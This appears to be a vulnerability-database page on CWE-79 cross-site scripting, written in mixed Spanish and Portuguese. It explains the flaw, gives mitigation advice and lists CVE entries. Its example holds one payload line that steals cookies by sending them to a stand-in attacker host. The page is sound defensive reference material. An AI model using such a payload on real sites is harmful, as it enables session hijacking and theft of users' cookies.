Fallos del tipo CWE-79

30.199 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-3966MEDIUMPray For Me <= 1.0.4 - Unauthenticated Stored XSSEPSS 0.3%CVE-2025-56154MEDIUMhtmly v3.0.8 is vulnerable to Cross Site Scripting (XSS) in the /author/:name endpoint of the affected application. The name parameter is noEPSS 0.3%CVE-2026-44651MEDIUMSillyTavern: Reflected XSS vulnerability in the CORS proxy middlewareEPSS 0.3%CVE-2024-32566MEDIUMWordPress WP Club Manager plugin <= 2.2.11 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-55230HIGHVvveb: Stored XSS in Vvveb via sanitizeHTML() filter bypass using a quoted greater-than characterEPSS 0.3%CVE-2024-10342MEDIUMLeague of Legends Shortcodes <= 1.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2025-5651MEDIUMcode-projects Traffic Offense Reporting System saveuser.php cross site scriptingEPSS 0.3%CVE-2026-27196HIGHStatamic affected by privilege escalation via stored Cross-site ScriptingEPSS 0.3%CVE-2025-5314MEDIUMDear Flipbook – PDF Flipbook, 3D Flipbook, PDF embed, PDF viewer <= 2.3.65 - DOM-Based Reflected Cross-Site Scripting via 'pdf-source'EPSS 0.3%CVE-2025-49461MEDIUMZoom Workplace Clients - Cross-site ScriptingEPSS 0.3%CVE-2025-24731MEDIUMWordPress IP2Location Country Blocker plugin <= 2.38.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-13868MEDIUMEasy Broken Link Checker <= 9.0.2 - Reflected XSSEPSS 0.3%CVE-2026-34568CRITICALCI4MS: Blogs Posts Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSSEPSS 0.3%CVE-2026-82890MEDIUMIBM Guardium Data Protection is affected by multiple vulnerabilities.EPSS 0.3%CVE-2023-6498MEDIUMComplianz | GDPR/CCPA Cookie Consent <= 6.5.5 - Authenticated(Administrator+) Stored Cross-site Scripting via settingsEPSS 0.3%CVE-2023-44915HIGHA cross-site scripting (XSS) vulnerability in the component /Login.php of c3crm up to v3.0.4 allows attackers to execute arbitrary web scripEPSS 0.3%CVE-2024-32564MEDIUMWordPress PostX plugin <= 4.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-52358MEDIUMA cross-site scripting vulnerability in Vivaldi United Group iCONTROL+ Server including Firmware version 4.7.8.0.eden Logic version 5.32 andEPSS 0.3%CVE-2024-24097MEDIUMCross Site Scripting (XSS) vulnerability in Code-projects Scholars Tracking System 1.0 allows attackers to run arbitrary code via the News FEPSS 0.3%CVE-2024-22130HIGHCross-Site Scripting (XSS) vulnerability in SAP CRM WebClient UIEPSS 0.3%